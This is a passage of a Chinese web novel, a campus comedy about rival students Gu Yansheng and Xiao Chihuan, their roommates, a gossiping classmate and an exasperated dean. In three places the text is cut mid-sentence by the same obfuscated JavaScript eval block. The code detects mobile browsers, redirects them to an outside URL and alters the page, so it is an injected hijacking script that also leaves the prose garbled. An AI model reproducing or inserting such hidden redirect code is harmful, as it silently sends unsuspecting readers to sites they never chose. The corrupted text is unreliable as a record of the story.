“顾檐声,怎么样?我这个笑话是不是比你的强多了?哈哈哈!”萧驰焕清澈的眼里只有对胜利的渴望。 顾檐声幽深地望了他一眼:“呵呵,你赢了。” 各种意义上赢了。 他暗暗下定决心,下去后一定要苦修笑话大全,下次一定要把这傻狗狠狠按在地上摩擦! 教导主任感觉自己好像看了一场小品,完全不知道发生了什么,回过神时,已经该这群小崽子上去做检讨了。 现在追问也没时间了,教导主任只好让他们先上台。 路过后台时,萧驰焕顺手抽走了刚刚做完演讲的一个男同学手里的文件夹:“同学,借用一下,一会儿还你。” 教导主任的眼皮忽然止不住地狂跳。 怎么回事,这种强烈的不祥的预感…… 就在这时,主席台下先是一片诡异的寂静,接着一阵阵骚动起来。 教导主任连忙朝主席台上看上去。 只见顾檐声和萧驰焕带着各自的室友大摇大摆地上了台,随后,他俩在话筒前并肩而立,其他人则默契地在他们身后一字摆开。 双脚打开,背着双手,抬头挺胸。 明明没有声音,同学们的耳畔却仿佛响起了《乱世巨星》的bgm。 台下,一个同学一愣,嘀咕:“好像少了点什么。” 身旁的同学一脸恍惚地喃喃道:“要是加上西服三件套和墨镜耳麦就完美了。” 教导主任:“……” 这画面怎么跟他想象的不太一样? 这时,萧驰焕朝后台的主持人招了招手:“再拿一个话筒上来。” 这使唤太理直气壮,主持人回过神时,已经搬来另一个话筒,还顺手给两人调好了高度。 萧驰焕满意颔首,夸赞他:“不错,天生就是当牛马的料子。” 主持人:“……谢谢萧总的鼓励?” 顾檐声替萧驰焕应下了:“嗯,弄完了就下去吧。” 主持人:“…………喳。” 萧驰焕气定神闲地拨弄了一下面前的话筒,“喂喂”两声试了试音,随后不急不缓地打开臂弯里夹着的文件夹,和顾檐声一人举起一边。 顾檐声朗声道:“尊敬的老师们。” 萧驰焕紧接着:“亲爱的同学们。” 两人齐声:“大家早上好!” 全校愣了一下,然后掌声擂动。 教导主任:“……” 不对劲,这个开场白。 十分万分以及非常的不对劲! 顾檐声:“夏日,是万物疯长的交响。” 萧驰焕:“夏日,是跳进池塘的清凉。” 顾檐声:“夏日,是放飞云端的理想。” 萧驰焕:“夏日,是青春永恒的乐章。” 顾檐声以标准的播音腔,抑扬顿挫道:“在这个雷鼓敲云、浪花叠裙的盛夏之日,我,高三三班顾檐声,和来自高三四班的萧驰焕同学,很荣幸站在这里,和全校师生朋友一起分享一个令我们百感交集、思绪万千的奇妙经历……” 全校打瞌睡的学生们全都醒了: “这周的主席台下演讲竟然是双校草啊!站在一起真赏心悦目!” “老天奶!是哪位人才发明的双人演讲!赏,大赏特赏!” “这两张脸对我的眼睛很友好,建议以后每周都来。” “我有一个想法……嘿嘿嘿。” “能说吗?好配好配好配……” “虽然但是,这周的主席台下演讲刚才好像已经讲过了,不是每周只有一个人上台吗,这次怎么讲了两次,还是两个人一起……算了,不重要,学校这么做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775627|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定有它的道理。” “为什么他们演讲还有保镖?”一个刚站着睡醒的同学懵懵懂懂地指着顾檐声和萧驰焕身后那一长排人问道。 旁边的女生做了一个空气点烟的动作,高深莫测道:“可能是怕我们太饥渴,忍不住扑上去吧。” 教导主任:“……” 此时此刻,教导主任终于知道哪里不对劲了。 是谁教你们这样读检讨的?他请问呢?谁家检讨两个人一起朗诵啊,这是正经检讨吗?别太离谱! 教导主任一口老血梗在喉口差点吐出来。 问就是后悔啊,早在那两个小崽子莫名其妙开始讲笑话的时候,他就应该站出来制止才对! 那时候的苗头明明就已经很不对劲了! …… 最后,检讨大会硬生生变成了演讲大赛。 直到三千字检讨书读完了,全校也没一个人意识到这是一封检讨书。 不得不说,萧驰焕这文笔,还是有点东西的。 一行人在全校瀑布般的掌声里神气十足地走下台时,台下的教导主任只剩最后一口气了。 顾檐声不免心生愧疚,安慰道:“赫老师,您再坚持一下,还有一年您就再也见不到我们了!” 教导主任如同一个怨夫一般破防了:“凭什么要我坚持?凭什么总是要我妥协?我为了这个学校,为了你们付出了这么多心血!你们为什么就不能稍微体谅我一点呢?为什么就不能为我着想一下呢?” 萧驰焕皱了皱眉,欲言又止,最后也只是叹气道:“赫老师,做人要有尊严,强扭的瓜不甜。” 胡啸天:“放手吧,把时间浪费在我们身上,不值。” 勤武焱:“是我们配不上你。” 潘铁心:“我们不是良人。” 禹洪淼:“对不起,我们没有想过伤害你……” 岑修竹:“赫老师你呀,就是喜欢胡思乱想,做男人啊,还是要大气一点。” 冯萌:“你要这么想,我们也没有办法。” …… 教导主任最后是被人抬下去的。 顾檐声一边满眼担忧地目送教导主任离开,一边暗暗叹息。 老赫他的心理素质还是得加强啊。 就算他上辈子是个魔修,这辈子也没想这么快就犯下杀戒。 升旗结束了,该回去上课了。 临走时,禹洪淼挑剔地扫了萧驰焕一眼,勉强施舍了一句大概能算是赞美的赞美:“不愧是年级第二,文采还算差强人意吧。” 潘铁心登时眉锋一竖:“骂谁年级第二呢?你才是年级第二!你全班都是年级第二!” 冯萌愣了一下:“还有这种好事?” 顾檐声:“……” 话不投机半句多。 顾檐声赶在两边吵起来之前,赶紧把自己人拖走了。 回到教室时,班上的百家讲坛正在与全班分享憋了一个周末的八卦。 “惊!赫尔退疯了!现在不仅抓抽烟,还见不得上厕所不关门!” 一个同学无语道:“谁上厕所会不关门啊?” 另一个人附和道:“就是啊,你编也别编得这么离谱啊,赫尔退就算管得再宽,还管咱们用什么姿势拉屎啊?他又不是厕神!” “各位客官莫急莫急,且听我细细道来!” 只见百家讲坛手里抓着一只黑板擦,惊木一般往讲台上这么一拍—— “啪!” 生活委员愤怒地甩了他一巴掌:“逆子!老娘刚擦干净的讲台!” 12. 百家讲坛vs新校规 百家讲坛立刻点头哈腰地用手掌抹了抹桌子:“对不起对不起,我这就给您擦干净哈。” 生活委员冷酷地哼了一声,提着垃圾桶走了。 百家讲坛不亏拥有一颗强大的心脏,立刻调整好状态,朝众人搓着手笑了笑:“不好意思,刚刚发生了一个小插曲,让大家见笑了,前面说到那赫尔退疯了,专抓上厕所不关门。” 顾檐声默了一秒,问话:“此话从何而来?” 百家讲坛优哉游哉道:“那便不得不说起一班的那位辣可露露桑,惯爱蹲在男厕所的坑里偷吃辣条,满厕所的辣条香,边拉边闻,别有一番风味,而就在上周周六,一个稀松平常的午后,辣可露露桑如平时一样,揣着辣条去男厕所里偷吃,却听到厕所外忽然传来一声怒吼,竟是那青面獠牙的赫尔退一边说着单口相声,一边势如破竹地闯进了男厕所!” 说到这里,他语速加快,双手也舞动起来,一下子带动了全场听众的情绪,绘声绘色道:“只见赫尔退先以迅雷不及掩耳盗铃儿响叮当之势依次推开了所有厕所的大门,随后竟是师性大发!逮着那上厕所不关门的光屁股蛋子就是一通说教大法!骇得那屁股蛋痛哭流涕,跪求赫尔退不要告诉他班主任,而就在这师徒情深的温馨时刻,只见——” 他拉长嗓音,卖了一个关子。 听客们纷纷等不及地催促道:“然后呢?发生了什么?你倒是快说啊!” 却见百家讲坛从怀里不慌不忙地掏出他吃饭的碗,然后捧起碗,弯下腰,满脸谄媚地举到众人面前。 众人当即发出一片嘘声。 每次都要在他们听得最起劲儿的时候来这么一套,真是老奸巨猾! 纵然心里再怎么骂,众人还是纷纷转身回到座位上,心不甘情不愿地掏出了自己私藏的小零食,扔进了百家讲坛的碗里。 虽然每人只扔了一两条,但好在积少成多。 只要人人都贡献一根辣条,就能收获一碗辣条。 就在这时,百家讲坛忽然大叫:“卧槽!不要把黄瓜味的薯片和辣条混在一起啊!” 那人顿时无语:“你咋这多事儿呢?有吃的就不错了!” 百家讲坛捂着胸口,一副心慌气抖的模样:“不行啊,它俩在一起我心里不舒服,总有种小混混玷污了清纯白月光的恶心感,不行了,说起来就好想吐,呕!” 众人:“……” 半秒,众人纷纷变了脸色:“靠,你不说还好,说了我也忽然感觉好恶心啊!” 顾檐声:“……” 你们…… 唉,算了。 是他格格不入。 一分钟后。 百家讲坛满意地看了看饭碗里的打赏,矜持地收起碗,继续道:“而就在师徒情深的温馨时刻,只见两道黑影忽然从男厕所里窜了出去!如鬼如魔,如风如烟,转眼就消失在长廊尽头,而在此之前,偌大的男厕所,竟是无一人察觉!便有合理猜测,赫尔退忽然对上厕所不关门情有独钟,许就是着了那俩邪祟的道!” 顾檐声邪祟本祟:“……” 众人齐齐打了一个寒颤,烈日当头,他们竟感到一股凉飕飕的风莫名其妙地吹拂着他们的头顶,忍不住害怕地缩起脖子,瑟瑟发抖。 “你有没有觉得,忽然感觉有点冷……” “我也是……” “完了,我们楼的男厕所该不是不干净了吧,呜……” 顾檐声默默抬头看了一眼头顶正对着他们呼呼吹的制冷器,又沉默地收回了视线。 他们这是火箭班没错吧? 怎么感觉……脑子都不太好呢? 百家讲坛说到这儿,忽然压低嗓音,轻声细语,音调诡异,如同阴冷的爬行动物一样,令人不寒而栗:“不仅如此,那一天的校园里还出现了许多灵异事件!例如,那死了10年鱼的情人湖竟然惊现一只160斤的水猴子!再例如,那荒了20年的除了情侣和约架的和偷练武功秘籍试图三年后惊艳全校的之外再无一人光顾的竹林,竟有大肠杆菌修炼成精!又例如,有人信誓旦旦地宣称自己曾目睹了飞天遁地之术!猴儿在树上飞,狗在洞里钻……” 依次被点兵点将的水猴子禹洪淼、变异大肠杆菌岑修竹、钻狗洞的狗子冯萌:“……” 这瓜吃着吃着就吃到自己身上了。 “最后一个灵异事件……也是最骇人的!”百家讲坛舔了一下干涩不已的嘴唇,嘶哑的嗓子透露着显而易见的恐惧,瞪大的瞳仁里布满了昨晚打游戏熬出来的血丝,“据传啊,某个低年级的班级忽然大变活人!一个面孔陌生的男同学,竟是凭空出现在他们班里,校服胸口的铭牌却明晃晃地写着他们班某个男同学的名字! “有人问他是谁,只见那男生诡异一笑,说,我就是xxx啊,怎么了?不认识我了吗?他嘴里说的名字,正是胸前铭牌上的姓名!可那张脸明明不是那个人的脸! “如此,便有两种可能。 “一种,是那个男同学早已被拆吞入腹了,那天他们所见的根本不是那个男生本人!当然,介于这位男生今天还好好地来上学了,这个可能可以排除掉了。 “那么只剩下最后一种可能,那天他们见到的男同学,确实是他本人没错!但他不知道,自己的脸早已被人偷偷换掉了!那么问题来了……” 百家讲坛的嗓音仿佛是从喉咙缝儿里挤出来的,阴鸷沙哑得如同如影随形的鬼魅,诡谲至极,让人浑身的鸡皮疙瘩起了又起:“那个换走他脸的人,究竟是何目的?而此时此刻还好好坐在教室里的那位同班同学,跟以前的真的还是同一个人吗?还是说……仅仅只是披着人皮的画皮鬼呢?” 全班一片死寂。 制冷器的冷风在头顶呼呼地吹。 沙雕同学在地上抱着手臂哆哆嗦嗦地发着抖。 顾檐声:“……” 有没有一种可能,那个男生只是被抢走了校服。 顾檐声叹了一口气,认命地起身,默默去控制台调高了一点温度。 话又说回来,在他跟萧驰焕逃命天涯的时候,他们的室友也挺忙的。 就在这时,一个男生突然在人群里发出尖叫:“卧槽你谁啊!怎么在我们班?” 这一嗓子如同打开了某个压抑许久的开关,全班立刻如多米诺牌一般响起了此起彼伏的尖叫。 而第一个发出尖叫的男生的方圆五米的同学全部惊恐地逃窜,一个个的表情跟见了鬼似的,仿佛慢一点就要被鬼吃掉了。 全班同学都将惊疑不定的目光落在了中间那个突然冒出来的陌生男生的脸上。 突然成为这么多人的焦点,陌生男生害羞地挠了挠脸:“那什么,不好意思哈,我就进来蹭蹭,蹭完就出去。” 只见男生当着所有人的面,从口袋里掏出一板奶片,抠了一片出来,丢在百家讲坛的饭碗里,然后拎起屁股底下的小马扎,大摇大摆地走出了四班的大门,离开的背影看起来十分餍足,俨然听爽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775628|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾檐声:“……” 请问这学校还有碳基生物吗? 不知道现在提交转学申请还来不来得及…… 眼看百家讲坛已经开始造谣隔壁的萧驰焕长了两颗金刚不坏之蛋,而他们班上的男生竟然真的跃跃欲试,想去试探一番,顾檐声不禁嘴角一抽,彻底听不下去了,扭头回了自己的座位,摸出手机,打算提醒萧驰焕一下。 【偷偷背笑话做好笑的男人】:你最近小心点儿,外面已经开始谣言你长了铁蛋,可能有男生会偷偷掏你蛋 【偷偷背笑话做好笑的男人】:别误会,我不是关心你,也不是欲盖弥彰,也不是在口是心非,也不是此地无银三百两,更没有害羞傲娇口嫌体正直,毕竟你的痛觉在我这儿,我怕疼 过了一分钟,对面没回复。 顾檐声眉头轻皱,继续。 【偷偷背笑话做好笑的男人】:嗯,仅此而已,别想多了,没别的意思 【偷偷背笑话做好笑的男人】:真没别的意思听到没有?你要是敢乱想小心我把你废了 【偷偷背笑话做好笑的男人】:都说了没别的意思没别的意思听不懂吗? 五分钟后。 【偷偷背笑话做好笑的男人】:你给我等着 隔壁上了一趟厕所回来的萧驰焕打开手机就看到顾檐声发了一堆威胁他的消息,顿时:“???” 他又怎么他了? …… 当天晚自习,全校收到新增校规—— 不允许在湖里游泳; 不允许在竹林里奔跑; 不允许钻狗洞; 不允许爬树; 不允许在教学区域跳蹦床; 不允许抢夺他人校服; 不允许伪装成其他班的班级成员并对其班上同学进行恐吓; 最后一条—— 不许上厕所不关门! 此新版校规一出,百家讲坛一战成名! 班上议论纷纷: “靠,这些故事居然都是真的!” “原来高中生活这么丰富的吗?我好像上了一个假高中!” “让我们一起说,百家讲坛,YYDS!” 百家讲坛搓着下巴上冒出来的一点胡渣,摇头晃脑地享受着同班同学们的赞誉,眯着眼睛笑得见牙不见眼:“早说了我童叟无欺,绝对真实!我用我下半辈子的那什么生活保真的,你们就放心听好了,虽然有那么一点艺术加工的成分吧,但这方面仁者见仁,我就不说什么了。 “各位听客要是还满意,欢迎下次继续光顾啊,如果平时有什么小道消息,也欢迎跟我交换情报,我这里永久收购各种八卦,百家讲坛,每日开讲!今天也是八卦满满是一天!” 顾檐声默默收拾好课桌和书包,躲过人群,从后门悄悄离开了教室。 门外站着他的三个当事人室友,一个个脸上表情都挺尴尬。 天知道,他们今天一整天声都不敢奏! 凡是有人来找他们聊八卦,他们一律尬笑。 怎么会有人被全班蛐蛐一整天啊,而且在传言里他们甚至连物种都变了,这是人干事? 顾檐声却在想,一人对应一条新校规,某种意义上来讲,他们的室友还挺厉害的。 果然,每一条离谱的校规背后,都有一个更离谱的故事和一个大冤种老师。 谁也不知道那个神秘的周六,教导主任究竟经历了些什么。 13. 丧尸vs脚底板 这天下了晚自习,顾檐声和室友们一起去超市打扫卫生。 为了避免两边再次打起来,双方约定轮流打扫,今晚正好轮到顾檐声他们寝室了。 而远在男寝宿舍的萧驰焕忽然感到身后传来一阵钝痛,手一抖,零食撒了一床。 靠,顾檐声在干嘛呢? 他的屁股又开始痛了! 萧驰焕忍不住艰难地在床上翻了个面,屁股朝天,当然是没什么效果的。 这都几天了,顾檐声怎么一点好转都没有? 他到底有没有在好好擦药啊? 还有顾檐声的那些室友也是的,怎么能让一个病患做苦力呢? 真是一点都不关心他! 要是他在现场,肯定绝不允许声声动弹一下! 萧驰焕只好撅着屁股,戳开置顶,给罪魁祸首发消息。 【你的颜你的脸你的眼睛像痞眼】:宝,别动了,歇着吧,你的屁股又裂开了你知道吗[哭哭] 发完消息,萧驰焕就盯着壁纸上的顾檐声睡美颜发呆。 结果他等了半天,对面连个【对方正在输入】都没有出现过。 顾檐声这人怎么回事?做卫生的时候都不会摸鱼的吗? 萧驰焕是个行动派,干脆下床拿钥匙,跟室友们打了一声招呼,穿着睡衣直接出门去找顾檐声了。 门一关,勤武焱蹭地从床上坐起来,一惊一乍地说:“大半夜无缘无故突然急匆匆跑出去,不是去抓奸夫就是去会情妇!结论是他绝逼是去幽会了!” 他作为一个从小学就开始谈恋爱的浪子,根本不理解萧驰焕怎么能顶着那样一张脸忍住不早恋!这简直就是暴殄天物! 如今萧驰焕好不容易有点苗头,勤武焱简直好奇死了,究竟得是美成什么样的天仙才能让他们断情绝爱的萧总都动了凡心。 勤武焱和剩下两个室友对视一眼,互相从彼此的眼睛里看见了八卦的光芒。 勤武焱:“走?” 胡啸天和潘铁心翻身下床,迅速换鞋子:“走!” 然而,当他们尾随萧驰焕,一路来到了超市后,顿时大为失望。 勤武焱眼里的光没了:“散了散了,这个时间点儿超市早就关门了,收银员都没有,不可能有人来买东西的。” 当然,现在在超市里扫卫生的那四个不算人。 而且就算萧驰焕真要幽会,也不可能选在死对头的地盘啊,又不是跟顾檐声约。 潘铁心的脑子难得活络:“可我觉得,萧总应该不会无缘无故跑来这里吧?” 胡啸天顺着他的话想下去,也缓缓反应过来:“难不成……他是想过来偷偷捣乱!” 勤武焱一拍大腿:“有道理啊,本来就是他们害得我们又要写检讨又要打扫超市,萧总心里有怨气多正常,应该就是想提前过来探探情报。” 潘铁心:“那咱们也先别出去了,先看看萧总有什么打算,别不小心把他的计划打乱了。” 室友们点点头,悄悄躲进了超市旁边的草丛里,看见不远处的萧驰焕朝超市的落地窗走去。 …… 萧驰焕在窗下鬼鬼祟祟地藏好了。 他也不想这么遮遮掩掩的,但被顾檐声那几个室友发现,免不了一顿麻烦。 而且他本来也没打算进去。 他就是想把顾檐声偷偷喊出来,提醒对方一下。 毕竟现在顾檐声的屁股已经不再属于他一个人了,他认为自己有义务保护他俩的共有财产。 萧驰焕耐心地等待顾檐声的几个室友从窗边离开。 这时,顾檐声拿着抹布独自靠近。 萧驰焕瞥见那一抹熟悉的身影,赶紧从窗户底下探出一颗脑袋,对着顾檐声露出一抹讨好的笑。 只是这大半夜的,这颗平移出现的脑袋和这诡异的笑脸在黑暗里隔着一面玻璃墙未免看起来有些惊悚。 正准备抹窗户的顾檐声被这傻子当场来了一个贴脸杀,吓得差点原地去世:“……” 他喵的…… 顾檐声缓缓闭上眼睛,深呼吸,平复飞快跳动的心脏。 要是他哪天不小心猝死了,一定是这傻子害的! 蹲在草丛里喂蚊子的勤武焱、胡啸天、潘铁心恍然大悟—— 哦哦,原来萧驰焕是打算装鬼吓唬他们,学到了学到了! 这边,萧驰焕给顾檐声递了一个眼神,疯狂打手势,叫他出来。 顾檐声翻了一个白眼,又悄悄回头看了一眼室友,见他们正围在一起用零食和饮料在货架上搭火箭,便放下抹布,洗了手,偷偷溜了出去。 萧驰焕的室友们:懂了懂了,他俩肯定是出去单挑了! 而等顾檐声和萧驰焕一走,萧驰焕的三个室友就屁颠儿屁颠儿地摸到了窗户边,打算活学活用。 于是,顾檐声前脚跟着萧驰焕离开,后脚,在他看不见的超市里就传来了此起彼伏的尖叫: “卧槽,有丧尸!” 只见透明的玻璃窗户上,一排乌黑的人形壁虎表情狰狞地张开四肢,紧贴着玻璃,大半夜能吓死个人。 超市里的三个人吓得一下子抱在一起,定睛一看才看清,竟然是隔壁班那三个鳖孙! 再一低头,好不容易快要搭好的火箭就这么在惊吓中坍塌了。 禹洪淼瞬间气红了眼:“靠,老子的火箭就差最后一步就搭好了!” 超市外面的三个人一边做鬼脸,一边挑衅道: “哈哈哈,小火箭起飞喽~” “提前送你们一程,不要太感谢~” 屋里的三人登时急眼了。 冯萌脸涨得通红:“日他喵的仙人板板,这跟脱了裤子骑在我们脸上拉屎有什么区别?简直奇耻大辱!” 岑修竹抄起一只扫把,揭竿而起:“此仇不报非君子,兄弟们,话不多说,直接上!” 三个人纷纷举起扫把拖把,“啊啊啊”地冲了出去。 …… 这边,顾檐声一路被萧驰焕拖进了小树林里,眼看再不吱声怕是要被抛尸荒野了,终于忍不住问道:“怎么?你放个屁还专门挑地方?到底有什么事,快说!” “好吧,这里也行,”萧驰焕左右看看,见四下无人,便朝顾檐声抬抬下巴,泰然自若道,“裤子脱了吧。” 对方的表情和语气都太淡定,顾檐声一时间以为自己在做淫梦。 他掏掏耳朵,一脸严肃道:“不好意思,我刚刚好像听岔了,你能再说一遍吗?” 萧驰焕从善如流:“我说裤子脱了,给我看看你的屁股……” 顾檐声整个人像爆炸的刺猬一样蹦起来,羞恼中又夹着几分心虚,抬脚就踹了过去:“想看屁股去厕所看啊,大的小的圆的扁的美的丑的各种花色任你选择好不好?你就是一中屁股王,看不死你个臭流氓!” 好家伙,还单押了。 萧驰焕一边熟练地躲闪,一边委屈道:“我也不是谁的屁股都想看的啊,还不是因为你老是不擦药,你自己看看,这都多少天了,你不擦药就算了,还老是动来动去,疼的不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775629|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,你就不关心是吧?不对,我看你巴不得疼死我吧!” 顾檐声愣了一下,随即有些心虚,没想到萧驰焕特意找过来是因为这个。 他确实感觉不到疼,擦起药来就三天打鱼两天晒网的,想起来就擦擦,想不起来也没碍着他什么事,不免稍微犯了一点懒。 这事儿是他理亏,顾檐声认了:“我一会儿回去就擦,行了吧?” 萧驰焕不满意:“凭什么还要‘一会儿’才回去擦啊,一会儿是多久啊,我怎么知道你是不是在敷衍我?不行,你现在就跟我回去,我要亲眼看着你擦!” 顾檐声轻啧一声,心道麻烦。 他不经意地瞄了一眼萧驰焕身后,忽然脸色一变,惊恐地抬手一指:“卧槽!赫尔退!” 萧驰焕赶紧回头,身后空空如也,连个鬼影都没有。 靠,被耍了! 萧驰焕赶紧转回头,顾檐声已经往前跑了五六米远,因为动作幅度太大,扯得他的屁股后面一阵阵地疼。 服了,这让他怎么追? 萧驰焕想了想,突然灵机一动,快速脱掉了一只鞋子,然后抱起脚,曲起食指关节就往自己的脚底板儿上死命地怼。 下一秒,前面正跑得欢快的顾檐声突然感到自己的脚底传来一阵钻心的剧痛,双腿一软就跌在了地上。 他人都傻了。 靠,居然还能这样? 萧驰焕捡起鞋子走到顾檐声面前蹲下,轻佻地勾了一下顾檐声的下巴,笑得特别贱:“还跑吗宝贝儿?” 顾檐声死鸭子嘴硬:“呵,就你那点儿绣花的力气,真是一点感觉都没有呢。” “没感觉是吧?行,你等着。”萧驰焕干脆一屁股坐了下来,手指关节最突出的骨头尖死死抵住脚底板,铆足了劲儿地拧动,轻挑的眉尖如利剑出鞘,戏谑又锋利,“爽吗宝贝儿?现在够劲儿了吗?还要不要爸爸再大力一点?嗯?” 顾檐声也是真能忍,牙冠都快咬碎了,面容隐隐扭曲,愣是一声没吭。 他忽而咧嘴一笑,舔了一下嘴唇,朝萧驰焕挑逗地微微眯起眼睛:“爽不爽,你自己试一下不就知道了?” 话落,顾檐声也快速脱了鞋子,曲起手指,抱起脚,用尽全力往脚底板一捅—— “艹!”萧驰焕可没他那么能忍,扑通一声跪在地上,表情立刻就变了。 顾檐声赶紧趁胜追击,一捅起来就发狠了,忘情了,没命了! 骤雨一样!旋风一样!火花一样! 捅得猩红了眼,捅得上了头,捅得气喘吁吁! 顾檐声凶狠地往自己的脚底板凿,仿佛这是他仇人的脚似的,学着萧驰焕的腔调,肆意妄为地调戏:“怎么样啊宝贝儿,爽不爽啊?” 萧驰焕在地上扭成了麻花,他咬紧后槽牙,朝顾檐声露齿一笑,从嗓子眼儿里挤出来的嗓音低沉又沙哑,依旧是那副懒懒散散的腔调,却控制不住地气喘,跟在什么似的,怎么听怎么浮想联翩:“爽啊,爽死了,宝贝儿给的都爽。” 顾檐声:“……” 顾檐声默默夹紧了双腿。 不行,太骚了,他有点那个了。 寂静无人的小树林,两个少年凌乱而燥热的气喘声此起彼伏地响起,十分引人遐想。 待人脸红心跳地靠近一看,居然是在面对面捅自己脚底板儿。 路过的鬼都得唾弃一口—— 我呸!裤子脱了就给我看这个? 散了散了,真没劲儿。 然后骂骂咧咧地飘走了。 14. 腰窝vs超兽武装 顾檐声本来没有多想的。 都怪萧驰焕一直在他耳边说骚话,配合少年低沉性感的喘气声,他忍不住就有点想入非非,脸上也不禁冒了点红。 还好现在大晚上的,萧驰焕看不见。 只是再这么下去,他怕是要冒出点什么见不得人的反应。 在事情彻底变得一发不可收拾之前,顾檐声不得不咬牙叫停:“够了,我认输!你赢了,行了吧?” 萧驰焕立刻蹭鼻子上脸:“那你让我给你擦药。” 顾檐声原地一躺:“那你还是让我去死吧。” 萧驰焕意味深长地看了他一眼,幽幽叹气:“唉,好吧,看样子,那我只能晚上自己去找你了。” 至于怎么去找,不言而喻。 顾檐声眼皮一跳。 这该死的傻子,居然还敢威胁他! 但能怎么办呢? 萧驰焕有胆子再爬一次空调外机,他没胆子拿萧驰焕的命赌啊。 果然,谁在意谁就输了。 顾檐声明知道这人就是仗着自己心软,但还是不得不为他妥协:“又没说不带你回去。” 萧驰焕见好就收,乐滋滋地爬起来,拍拍屁股和裤腿,油腻地刮了一下顾檐声的鼻子,发出风骚的笑声:“你说你,一开始答应了不就好了,非得跟爸爸闹一闹,真是一个顽皮的小作精。” 顾檐声瞬间被累得外焦里酥。 他抖了抖浑身上下的鸡皮疙瘩,心里轻啧一声。 好久没杀人了,手好痒。 下一秒,萧驰焕就看见顾檐声忽然从地上爬起来,抽风似的地开始原地各种开合跳,横飞燕,一字马,大劈叉…… 萧驰焕屁股后面顿时一裂。 他白着脸,夹着腿,乖巧闭嘴,痛得很老实。 顾檐声优雅地翻了一个白眼。 呵,他还治不了你了。 …… 五分钟后,顾檐声带着萧驰焕鬼鬼祟祟上了楼。 他让萧驰焕先在楼梯里躲一下,自己则回寝室看了一眼,确定室友们还没回来,这才安心地将萧驰焕放了进去。 萧驰焕大摇大摆地踏进顾檐声的寝室大门,跟到了自己家似的,都不用顾檐声介绍就精准地坐在了他的座位上,一点不客气:“来你寝室一趟真不容易,跟偷情似的。” 顾檐声冷哼:“可把你刺激坏了。” 萧驰焕朝他挤了挤眼睛:“宝贝,还是你懂我。” 顾檐声没接话,只警告他:“你就老实待在外面,不许到处乱砍,更不许动我的东西,我去厕所擦药,听到没?” 萧驰焕趴在顾檐声的桌子上,脸蛋挤出一点肉来,恶意卖萌:“真的不需要我帮你吗?” 顾檐声转身就走,用行动表示了拒绝。 萧驰焕撇撇嘴,等顾檐声一进厕所,就立刻张大嘴巴,愤怒地咬在了顾檐声的桌子边上。 顾檐声从身后默默探出一颗头,看到萧驰焕的动作,嘴角一抽:“你干嘛呢?牙不要了?” 萧驰焕连忙心虚地收回了牙齿,放好双手乖巧坐直,朝顾檐声露出一抹讨好的笑,举起一只手:“你快去擦药,我保证乖乖的不乱动。” 顾檐声用十分不信任的眼神又盯了他两眼,这才赶紧进了厕所。 他怕室友中途回来,擦得特别快,没两分钟就出来了。 厕所门打开的瞬间,萧驰焕嗖地把伸出去不知道在干嘛的手收了回来,在顾檐声的桌子上欲盖弥彰地摸来摸去:“这张桌子可真桌子啊。” 顾檐声冷笑一声,径直走上前,快速扫视一眼自己的桌面,拿起最近的两个作业本翻了翻,又狐疑地瞄了萧驰焕一眼。 萧驰焕一脸无辜地与他对视,满脸天真无邪。 顾檐声:“……” 算了,有什么问题,等这家伙走了再检查。 顾檐声放下作业道:“我已经把药擦好了,你可以回去了吧?” 萧驰焕啧一声,总觉得这人在敷衍他:“这么快?你到底有没有好好擦啊,我怎么就不信呢?” 顾檐声冷言冷语:“好的不信哥,那你走吧。” 没想到萧驰焕真的转身就走,这下顾檐声倒是愣住了,他本来还以为要跟这人再纠缠一会儿呢。 然而下一秒,快走到门口的萧驰焕忽然一个旋身,飞扑回来,饿虎扑食般抱住顾檐声的腰,猖狂一笑:“哈哈,看我刚学的擒拿术!” 顾檐声:“……” 服了! 顾檐声盯着门口,心里着急:“反正我已经擦完了,你爱信不信,给我松开!” 萧驰焕撒泼打诨:“你给我检查一下我就松手,怎么样?” 顾檐声内心愈发焦躁不安,脸都憋红了:“别闹了,要是我室友回来了怎么办?” 萧驰焕一副流氓无赖的模样:“就是啊,那你赶紧给我看啊,快别耽误时间了,要是你室友回来了看你怎么解释!” 这傻狗一身蛮力,顾檐声挣扎得脸红脖子粗,愣是半分没让萧驰焕松懈一点。 见鬼,他俩明明一起长大的,怎么身体素质差别这么大呢? 萧驰焕是不是偷吃激素了! 顾檐声男人的自尊心受到了侮辱,恼羞成怒地用拳头猛捶萧驰焕硬邦邦的后背:“你这坨臭狗屎!你最好一辈子别松手,否则我明天就带你去打狂犬疫苗!” 